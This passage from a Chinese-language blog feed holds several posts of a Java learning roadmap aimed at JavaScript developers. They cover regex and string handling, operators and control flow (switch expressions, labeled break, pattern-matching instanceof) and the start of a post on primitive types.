&lt;td&gt;&lt;code&gt;1[3-9]\\d{9}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;&lt;code&gt;https?://[\\w.-]+(?:/[\\w./?%&amp;amp;=-]*)?&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;完整例子：提取日志中的时间戳&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import java.util.regex.*;

public class LogParser {
    private static final Pattern TIMESTAMP = Pattern.compile(
        &quot;\\[(\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2})\\]\\s+(\\w+):\\s+(.*)&quot;
    );

    public static void main(String[] args) {
        String log = &quot;[2026-09-03 10:15:30] ERROR: Database connection failed&quot;;
        Matcher m = TIMESTAMP.matcher(log);

        if (m.matches()) {
            System.out.println(&quot;时间：&quot; + m.group(1));   // 2026-09-03 10:15:30
            System.out.println(&quot;级别：&quot; + m.group(2));   // ERROR
            System.out.println(&quot;消息：&quot; + m.group(3));   // Database connection failed
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;性能建议&lt;/strong&gt;：如果同一个正则要用很多次，把 &lt;code&gt;Pattern.compile&lt;/code&gt; 提到静态字段里，避免重复编译：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static final Pattern EMAIL = Pattern.compile(&quot;\\w+@\\w+\\.\\w+&quot;);

public boolean isEmail(String s) {
    return EMAIL.matcher(s).matches();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;综合小例子：单词频率统计&lt;/h2&gt;
&lt;p&gt;结合数组、字符串和 &lt;code&gt;Map&lt;/code&gt;（阶段八会详细讲，这里先见一面）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.*;

public class WordCount {
    public static void main(String[] args) {
        String text = &quot;apple banana apple cherry banana apple&quot;;
        String[] words = text.split(&quot;\\s+&quot;);

        Map&amp;lt;String, Integer&amp;gt; count = new HashMap&amp;lt;&amp;gt;();
        for (String w : words) {
            count.put(w, count.getOrDefault(w, 0) + 1);
        }

        // 按频率降序输出
        count.entrySet().stream()
            .sorted(Map.Entry.&amp;lt;String, Integer&amp;gt;comparingByValue().reversed())
            .forEach(e -&amp;gt; System.out.println(e.getKey() + &quot;: &quot; + e.getValue()));
    }
}
// 输出：
// apple: 3
// banana: 2
// cherry: 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// ===== 数组 =====
int[] nums = new int[5];             // 默认 0
int[] primes = {2, 3, 5, 7};
nums.length;                         // 字段，无括号
nums[0] = 10;

for (int n : nums) { ... }           // 增强 for

int[] copy = Arrays.copyOf(nums, 3);
int[] range = Arrays.copyOfRange(nums, 1, 4);
Arrays.equals(a, b);                 // 内容比较
Arrays.toString(a);                  // 打印
Arrays.sort(nums);
Arrays.binarySearch(nums, 5);

// 二维
int[][] grid = new int[3][4];
grid.length;                         // 行数
grid[0].length;                      // 列数

// 转 List
List&amp;lt;Integer&amp;gt; list = Arrays.stream(intArr).boxed().toList();

// ===== 字符串 =====
StringBuilder sb = new StringBuilder();
sb.append(&quot;a&quot;).append(&quot;b&quot;).insert(0, &quot;x&quot;);
sb.reverse();
sb.toString();

String csv = String.join(&quot;,&quot;, &quot;a&quot;, &quot;b&quot;, &quot;c&quot;);
StringJoiner sj = new StringJoiner(&quot;, &quot;, &quot;[&quot;, &quot;]&quot;);
sj.add(&quot;a&quot;).add(&quot;b&quot;);

// 编码转换永远显式指定
&quot;hi&quot;.getBytes(StandardCharsets.UTF_8);

// ===== 正则 =====
Pattern p = Pattern.compile(&quot;\\d+&quot;);
Matcher m = p.matcher(&quot;abc123&quot;);
while (m.find()) m.group();

&quot;12345&quot;.matches(&quot;\\d+&quot;);             // 整体匹配
&quot;a1b2&quot;.replaceAll(&quot;\\d&quot;, &quot;*&quot;);       // 替换
&quot;a,b;c&quot;.split(&quot;[,;]+&quot;);              // 分割
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;数组长度用 &lt;code&gt;nums.length&lt;/code&gt;（字段），字符串长度用 &lt;code&gt;s.length()&lt;/code&gt;（方法）&lt;/li&gt;
&lt;li&gt;数组 &lt;code&gt;==&lt;/code&gt; 比引用，内容比较用 &lt;code&gt;Arrays.equals&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;打印数组用 &lt;code&gt;Arrays.toString&lt;/code&gt;，否则是内存地址&lt;/li&gt;
&lt;li&gt;循环拼接字符串用 &lt;code&gt;StringBuilder&lt;/code&gt;，不用 &lt;code&gt;+=&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;StringBuffer&lt;/code&gt; 是线程安全版，日常用 &lt;code&gt;StringBuilder&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串与字节互转永远显式指定 &lt;code&gt;StandardCharsets.UTF_8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;正则里的 &lt;code&gt;\&lt;/code&gt; 要写成 &lt;code&gt;\\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;常用正则 &lt;code&gt;Pattern&lt;/code&gt; 提到静态字段避免重复编译&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;到这里 Java 的语法基础就打完了。下一阶段进入面向对象的核心——类与对象，看看 Java 里&quot;一切皆对象&quot;到底是什么意思。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段三：运算符与流程控制</title><link>http://117.72.32.87/blog/posts/java-roadmap-03-operators-and-control-flow/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-03-operators-and-control-flow/</guid><description>Java 的各类运算符、if/switch/for/while 流程控制，重点讲与 JS 的差异：switch 表达式、instanceof 模式匹配、标签化 break。</description><pubDate>Wed, 02 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;流程控制这块 Java 和 JS 长得挺像，但细节差别不少：&lt;code&gt;switch&lt;/code&gt; 有新版表达式语法，&lt;code&gt;instanceof&lt;/code&gt; 支持模式匹配，&lt;code&gt;for-each&lt;/code&gt; 写法不同，&lt;code&gt;break&lt;/code&gt; 还能带标签。这一篇把常踩的差异点集中过一遍。&lt;/p&gt;
&lt;h2&gt;运算符总览&lt;/h2&gt;
&lt;h3&gt;算术运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int a = 10, b = 3;

a + b;    // 13
a - b;    // 7
a * b;    // 30
a / b;    // 3   ← 整数除法直接截断，不是 3.333
a % b;    // 1   取余
a++;      // 11  后置自增
++a;      // 12  前置自增
a--;      // 11
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;整数除法是 JS 里没有的坑&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int result = 7 / 2;         // 3，不是 3.5
double wrong = 7 / 2;       // 3.0，仍然先按 int 算再转 double
double right = 7.0 / 2;     // 3.5，至少一个操作数是 double
double alsoRight = (double) 7 / 2;   // 3.5，强制转换
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h3&gt;赋值运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int x = 10;
x += 5;    // x = x + 5 = 15
x -= 3;    // x = x - 3 = 12
x *= 2;    // x = x * 2 = 24
x /= 4;    // x = x / 4 = 6
x %= 4;    // x = x % 4 = 2

// 复合赋值会自动做类型转换
byte b = 10;
b += 5;              // ✅ 等价于 b = (byte)(b + 5)
// b = b + 5;        // ❌ 报错：b + 5 结果是 int，不能直接赋给 byte
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;比较运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int a = 5, b = 10;

a == b;    // false
a != b;    // true
a &amp;gt; b;     // false
a &amp;lt; b;     // true
a &amp;gt;= b;    // false
a &amp;lt;= b;    // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对&lt;strong&gt;对象&lt;/strong&gt;来说 &lt;code&gt;==&lt;/code&gt; 比的是引用地址，要比较内容用 &lt;code&gt;.equals()&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String s1 = new String(&quot;hi&quot;);
String s2 = new String(&quot;hi&quot;);

s1 == s2;         // false，两个不同对象
s1.equals(s2);    // true，内容相同
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;逻辑运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;boolean x = true, y = false;

x &amp;amp;&amp;amp; y;    // false  短路与：x 为 false 时不再计算 y
x || y;    // true   短路或：x 为 true 时不再计算 y
!x;        // false  非
x &amp;amp; y;     // false  逻辑与（不短路，两侧都会算）
x | y;     // true   逻辑或（不短路）
x ^ y;     // true   异或
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;99% 场景用 &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;||&lt;/code&gt;，&lt;code&gt;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;|&lt;/code&gt; 只有在需要&quot;两侧都执行&quot;的少数场景（比如位运算或副作用）才用。&lt;/p&gt;
&lt;p&gt;Java &lt;strong&gt;没有&lt;/strong&gt; JS 里的 &lt;code&gt;??&lt;/code&gt;（空值合并）和 &lt;code&gt;?.&lt;/code&gt;（可选链），需要类似能力用 &lt;code&gt;Optional&lt;/code&gt;（阶段十讲）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JS: const name = user?.name ?? &apos;Anonymous&apos;;
// Java:
String name = Optional.ofNullable(user)
    .map(User::getName)
    .orElse(&quot;Anonymous&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;位运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int a = 0b1100;   // 12
int b = 0b1010;   // 10

a &amp;amp; b;    // 0b1000 = 8   按位与
a | b;    // 0b1110 = 14  按位或
a ^ b;    // 0b0110 = 6   按位异或
~a;       // 按位取反 = -13
a &amp;lt;&amp;lt; 2;   // 左移 = 48（相当于 * 4）
a &amp;gt;&amp;gt; 2;   // 右移（带符号）= 3（相当于 / 4）
a &amp;gt;&amp;gt;&amp;gt; 2;  // 无符号右移（JS 也有这个）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三元运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int age = 20;
String type = age &amp;gt;= 18 ? &quot;成年&quot; : &quot;未成年&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟 JS 完全一样。Java 里三元运算符&lt;strong&gt;不能嵌套过深&lt;/strong&gt;，可读性差就换成 &lt;code&gt;if-else&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;if / else&lt;/h2&gt;
&lt;p&gt;基本形式跟 JS 一致：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int score = 85;

if (score &amp;gt;= 90) {
    System.out.println(&quot;优秀&quot;);
} else if (score &amp;gt;= 60) {
    System.out.println(&quot;及格&quot;);
} else {
    System.out.println(&quot;不及格&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;几个必须注意的差异&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 条件必须是 boolean，不能像 JS 那样用 truthy/falsy
int n = 1;
// if (n) { ... }        // 编译错误
if (n != 0) { ... }      // ✅ 显式比较

// ❌ 字符串不能用 == 比较
String cmd = getCommand();
// if (cmd == &quot;quit&quot;) { ... }   // 逻辑错误
if (&quot;quit&quot;.equals(cmd)) { ... } // ✅ 常量在前，避免 cmd 为 null 时抛异常

// 单行 if 可以省略花括号，但强烈不推荐
if (score &amp;gt;= 60) System.out.println(&quot;及格&quot;);

// 悬挂 else 陷阱：else 匹配最近的 if
if (a) if (b) doSomething(); else doOther();   // else 匹配 if (b)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
字符串比较时把&lt;strong&gt;常量放在左边&lt;/strong&gt;（&lt;code&gt;&quot;quit&quot;.equals(cmd)&lt;/code&gt;），这样即使 &lt;code&gt;cmd&lt;/code&gt; 为 &lt;code&gt;null&lt;/code&gt; 也不会抛 &lt;code&gt;NullPointerException&lt;/code&gt;，只会返回 &lt;code&gt;false&lt;/code&gt;。这个技巧在 Java 里叫 &quot;Yoda Conditions&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;switch&lt;/h2&gt;
&lt;h3&gt;传统 switch（跟 JS 一样有 fall-through 陷阱）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int day = 3;
String name;

switch (day) {
    case 1:
        name = &quot;周一&quot;;
        break;                 // 必须 break，否则会继续执行下一个 case
    case 2:
        name = &quot;周二&quot;;
        break;
    case 3:
    case 4:                    // 多个 case 合并
    case 5:
        name = &quot;工作日中段&quot;;
        break;
    default:
        name = &quot;其他&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;传统 &lt;code&gt;switch&lt;/code&gt; 的痛点：忘写 &lt;code&gt;break&lt;/code&gt; 会 fall-through，容易出 bug。&lt;/p&gt;
&lt;h3&gt;switch 表达式（JDK 14+，推荐）&lt;/h3&gt;
&lt;p&gt;新语法用 &lt;code&gt;-&amp;gt;&lt;/code&gt; 替代 &lt;code&gt;:&lt;/code&gt;，&lt;strong&gt;不需要 break&lt;/strong&gt;，还可以作为表达式返回值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int day = 3;

String name = switch (day) {
    case 1 -&amp;gt; &quot;周一&quot;;
    case 2 -&amp;gt; &quot;周二&quot;;
    case 3, 4, 5 -&amp;gt; &quot;工作日中段&quot;;     // 多值 case
    case 6, 7 -&amp;gt; &quot;周末&quot;;
    default -&amp;gt; &quot;其他&quot;;
};   // 注意分号

System.out.println(name);   // &quot;工作日中段&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 case 分支要多行，用 &lt;code&gt;yield&lt;/code&gt; 返回值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int numLetters = switch (day) {
    case 1, 2, 3 -&amp;gt; 3;
    case 4, 5 -&amp;gt; 2;
    default -&amp;gt; {
        int len = computeLength(day);
        System.out.println(&quot;computed: &quot; + len);
        yield len;          // 类似 return，但用于 switch 表达式
    }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;switch 支持的类型&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;基本类型：&lt;code&gt;byte&lt;/code&gt;、&lt;code&gt;short&lt;/code&gt;、&lt;code&gt;char&lt;/code&gt;、&lt;code&gt;int&lt;/code&gt;（不包括 &lt;code&gt;long&lt;/code&gt;、&lt;code&gt;float&lt;/code&gt;、&lt;code&gt;double&lt;/code&gt;、&lt;code&gt;boolean&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;包装类：&lt;code&gt;Byte&lt;/code&gt;、&lt;code&gt;Short&lt;/code&gt;、&lt;code&gt;Character&lt;/code&gt;、&lt;code&gt;Integer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;String&lt;/code&gt;（JDK 7+）&lt;/li&gt;
&lt;li&gt;枚举（&lt;code&gt;enum&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;JDK 21 起支持&lt;strong&gt;模式匹配&lt;/strong&gt;（配合密封类，后面 OOP 阶段再讲）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用字符串的 switch：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String command = &quot;start&quot;;

switch (command.toLowerCase()) {
    case &quot;start&quot; -&amp;gt; System.out.println(&quot;启动&quot;);
    case &quot;stop&quot;  -&amp;gt; System.out.println(&quot;停止&quot;);
    case &quot;quit&quot;  -&amp;gt; System.out.println(&quot;退出&quot;);
    default      -&amp;gt; System.out.println(&quot;未知命令：&quot; + command);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;code&gt;switch (String)&lt;/code&gt; 内部其实是先算 &lt;code&gt;hashCode&lt;/code&gt; 再用 &lt;code&gt;equals&lt;/code&gt; 比较，性能可以接受；但仍然比不上 &lt;code&gt;if-else&lt;/code&gt; 直接比字符串，写业务时不用纠结这个差异。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;循环&lt;/h2&gt;
&lt;h3&gt;for 循环&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 基本形式，跟 JS 完全一致
for (int i = 0; i &amp;lt; 5; i++) {
    System.out.println(i);
}

// 多变量
for (int i = 0, j = 10; i &amp;lt; j; i++, j--) {
    System.out.println(i + &quot;, &quot; + j);
}

// 无限循环
for (;;) {
    // 靠 break 跳出
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;增强 for（for-each）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int[] nums = {1, 2, 3, 4, 5};

// 遍历数组或集合，语法比 JS 的 for...of 更简洁
for (int n : nums) {
    System.out.println(n);
}

String[] names = {&quot;Tom&quot;, &quot;Jerry&quot;};
for (String name : names) {
    System.out.println(&quot;Hello, &quot; + name);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对比 JS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JavaScript
for (const n of nums) { console.log(n); }
nums.forEach(n =&amp;gt; console.log(n));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java 的增强 for 底层用 &lt;code&gt;Iterator&lt;/code&gt;，&lt;strong&gt;不能修改集合元素&lt;/strong&gt;（想边遍历边删要用显式 &lt;code&gt;Iterator&lt;/code&gt;，阶段八再讲）。&lt;/p&gt;
&lt;h3&gt;while / do-while&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int i = 0;

while (i &amp;lt; 5) {
    System.out.println(i);
    i++;
}

// do-while 至少执行一次
int n;
do {
    n = readInput();
} while (n &amp;lt; 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;break / continue / 标签&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;break&lt;/code&gt; 跳出当前循环，&lt;code&gt;continue&lt;/code&gt; 跳过本次迭代——跟 JS 一致：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (int i = 0; i &amp;lt; 10; i++) {
    if (i == 3) continue;   // 跳过 3
    if (i == 7) break;      // 遇到 7 结束
    System.out.println(i);
}
// 输出：0 1 2 4 5 6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java 特有的&lt;strong&gt;标签化 break&lt;/strong&gt;，可以跳出多层嵌套循环（JS 也支持这个语法，但用得少）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;outer:
for (int i = 0; i &amp;lt; 5; i++) {
    for (int j = 0; j &amp;lt; 5; j++) {
        if (i * j &amp;gt; 6) {
            System.out.println(&quot;break at &quot; + i + &quot;,&quot; + j);
            break outer;    // 直接跳出外层循环
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不用标签的话，需要一个 flag 变量来控制，代码会啰嗦不少。&lt;/p&gt;
&lt;h2&gt;instanceof 与模式匹配&lt;/h2&gt;
&lt;h3&gt;传统 instanceof&lt;/h3&gt;
&lt;p&gt;判断对象是不是某个类的实例，返回 &lt;code&gt;boolean&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object obj = &quot;hello&quot;;

if (obj instanceof String) {
    String s = (String) obj;    // 需要显式强转
    System.out.println(s.length());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;模式匹配 instanceof（JDK 16+）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;判断 + 强转 + 声明变量一步到位&lt;/strong&gt;，是现代 Java 的推荐写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object obj = &quot;hello&quot;;

if (obj instanceof String s) {    // 匹配成功后 s 自动可用
    System.out.println(s.length());
}

// 还能配合逻辑运算符
if (obj instanceof String s &amp;amp;&amp;amp; s.length() &amp;gt; 3) {
    System.out.println(s.toUpperCase());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对比 TypeScript：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (obj instanceof String) {
    const s = obj as string;   // TS 需要 as 断言
    console.log(s.length);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java 的模式匹配更简洁，且&lt;strong&gt;类型安全&lt;/strong&gt;由编译器保证。&lt;/p&gt;
&lt;h2&gt;综合小例子：猜数字游戏&lt;/h2&gt;
&lt;p&gt;把这一阶段的语法组合起来写一个能跑的小游戏：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.Random;
import java.util.Scanner;

public class GuessNumber {
    public static void main(String[] args) {
        Random random = new Random();
        int answer = random.nextInt(100) + 1;   // 1~100
        Scanner scanner = new Scanner(System.in);
        int attempts = 0;
        boolean guessed = false;

        System.out.println(&quot;我想了一个 1~100 的数字，猜猜看：&quot;);

        while (!guessed) {
            System.out.print(&quot;请输入：&quot;);
            int guess = scanner.nextInt();
            attempts++;

            if (guess &amp;lt; answer) {
                System.out.println(&quot;太小了&quot;);
            } else if (guess &amp;gt; answer) {
                System.out.println(&quot;太大了&quot;);
            } else {
                guessed = true;
                System.out.printf(&quot;猜对了！用了 %d 次%n&quot;, attempts);
            }

            if (attempts &amp;gt;= 10 &amp;amp;&amp;amp; !guessed) {
                System.out.println(&quot;次数用完，答案是 &quot; + answer);
                break;
            }
        }

        scanner.close();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码用到了：变量、&lt;code&gt;Random&lt;/code&gt;、&lt;code&gt;Scanner&lt;/code&gt;、&lt;code&gt;while&lt;/code&gt; 循环、&lt;code&gt;if/else if&lt;/code&gt;、&lt;code&gt;break&lt;/code&gt;、&lt;code&gt;printf&lt;/code&gt; 格式化输出——把前面几个阶段的东西串了起来。&lt;/p&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 1. 整数除法会截断
int r = 7 / 2;          // 3
double d = 7.0 / 2;     // 3.5

// 2. 复合赋值自动转型
byte b = 10;
b += 5;                 // ✅
// b = b + 5;           // ❌

// 3. 逻辑运算
a &amp;amp;&amp;amp; b   // 短路与
a || b   // 短路或
!a       // 非

// 4. 三元
int max = a &amp;gt; b ? a : b;

// 5. if 条件必须是 boolean
if (n != 0) { ... }     // ✅
// if (n) { ... }       // ❌

// 6. 字符串比较用 equals，常量放前面
if (&quot;quit&quot;.equals(cmd)) { ... }

// 7. switch 表达式（JDK 14+）
String name = switch (day) {
    case 1, 2, 3 -&amp;gt; &quot;工作日&quot;;
    case 6, 7    -&amp;gt; &quot;周末&quot;;
    default      -&amp;gt; &quot;无效&quot;;
};

// 8. 多行 case 用 yield
int len = switch (day) {
    case 1 -&amp;gt; 3;
    default -&amp;gt; {
        int x = compute();
        yield x;
    }
};

// 9. 增强 for
for (int n : nums) { ... }

// 10. 标签化 break
outer:
for (...) {
    for (...) {
        if (cond) break outer;
    }
}

// 11. 模式匹配 instanceof（JDK 16+）
if (obj instanceof String s) {
    s.length();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;整数除法截断，&lt;code&gt;double&lt;/code&gt; 除法要至少一个操作数是浮点&lt;/li&gt;
&lt;li&gt;&lt;code&gt;if&lt;/code&gt; 条件必须是明确的 &lt;code&gt;boolean&lt;/code&gt;，不接受 truthy/falsy&lt;/li&gt;
&lt;li&gt;字符串比较用 &lt;code&gt;.equals()&lt;/code&gt;，常量放左边防 NPE&lt;/li&gt;
&lt;li&gt;优先用 &lt;code&gt;switch&lt;/code&gt; 表达式（&lt;code&gt;-&amp;gt;&lt;/code&gt; + &lt;code&gt;yield&lt;/code&gt;）而不是传统 &lt;code&gt;switch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;增强 for &lt;code&gt;for (int n : nums)&lt;/code&gt; 简洁但无法修改元素&lt;/li&gt;
&lt;li&gt;&lt;code&gt;break label&lt;/code&gt; 可以跳出多层嵌套&lt;/li&gt;
&lt;li&gt;&lt;code&gt;instanceof&lt;/code&gt; 模式匹配让&quot;判断 + 强转 + 命名&quot;一步完成&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一个阶段进入数组和字符串，看看 Java 里&quot;字符串是不可变对象&quot;和&quot;数组是固定长度&quot;这两条设计怎么影响日常写法。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段二：变量、数据类型与类型系统</title><link>http://117.72.32.87/blog/posts/java-roadmap-02-variables-and-types/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-02-variables-and-types/</guid><description>Java 的 8 种基本类型、包装类、自动装箱、类型转换、var 推断、字符串不可变性，一篇对照 JS 讲清楚。</description><pubDate>Wed, 02 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JS 里 &lt;code&gt;let x = 1&lt;/code&gt; 一句就完事，&lt;code&gt;x&lt;/code&gt; 可以是数字下一秒变字符串也没人管。Java 完全反过来：&lt;strong&gt;先声明类型，再赋值，从此这个变量只能是这个类型&lt;/strong&gt;。这个阶段把所有类型相关的东西一次讲完。&lt;/p&gt;
&lt;h2&gt;变量声明的基本形式&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 类型 变量名 = 初始值;
int age = 25;
String name = &quot;Tom&quot;;
double price = 19.99;
boolean isValid = true;

// 也可以先声明再赋值
int count;
count = 10;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对比 JS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JavaScript
let age = 25;         // 类型自动推断
const name = &quot;Tom&quot;;   // 常量
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java 里也有类似 &lt;code&gt;const&lt;/code&gt; 的关键字，叫 &lt;code&gt;final&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;final double PI = 3.14159;
// PI = 3.14;  // ❌ 编译报错：cannot assign a value to final variable PI
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
命名约定：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;变量、方法：&lt;strong&gt;小驼峰&lt;/strong&gt;（camelCase），跟 JS 一致&lt;/li&gt;
&lt;li&gt;类、接口：&lt;strong&gt;大驼峰&lt;/strong&gt;（PascalCase）&lt;/li&gt;
&lt;li&gt;常量（&lt;code&gt;static final&lt;/code&gt;）：&lt;strong&gt;全大写下划线&lt;/strong&gt;（UPPER_SNAKE_CASE），比如 &lt;code&gt;MAX_SIZE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;包名：&lt;strong&gt;全小写&lt;/strong&gt;，比如 &lt;code&gt;com.example.app&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;8 种基本类型&lt;/h2&gt;
&lt;p&gt;Java 的&lt;strong&gt;基本类型&lt;/strong&gt;（primitive types）是语言内置的、不是对象、直接存值。总共 8 种：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分类&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;大小&lt;/th&gt;
&lt;th&gt;取值范围&lt;/th&gt;
&lt;th&gt;默认值&lt;/th&gt;
&lt;th&gt;JS 对应&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;整数&lt;/td&gt;
&lt;td&gt;&lt;code&gt;byte&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 字节&lt;/td&gt;
&lt;td&gt;-128 ~ 127&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;——&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;整数&lt;/td&gt;
&lt;td&gt;&lt;code&gt;short&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2 字节&lt;/td&gt;
&lt;td&gt;-32768 ~ 32767&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;——&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;整数&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4 字节&lt;/td&gt;
&lt;td&gt;约 ±21 亿&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;（整数场景）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;整数&lt;/td&gt;
&lt;td&gt;&lt;code&gt;long&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8 字节&lt;/td&gt;
&lt;td&gt;约 ±9.2 × 10¹⁸&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bigint&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;浮点&lt;/td&gt;
&lt;td&gt;&lt;code&gt;float&lt;/code&gt;&lt;/td&gt;
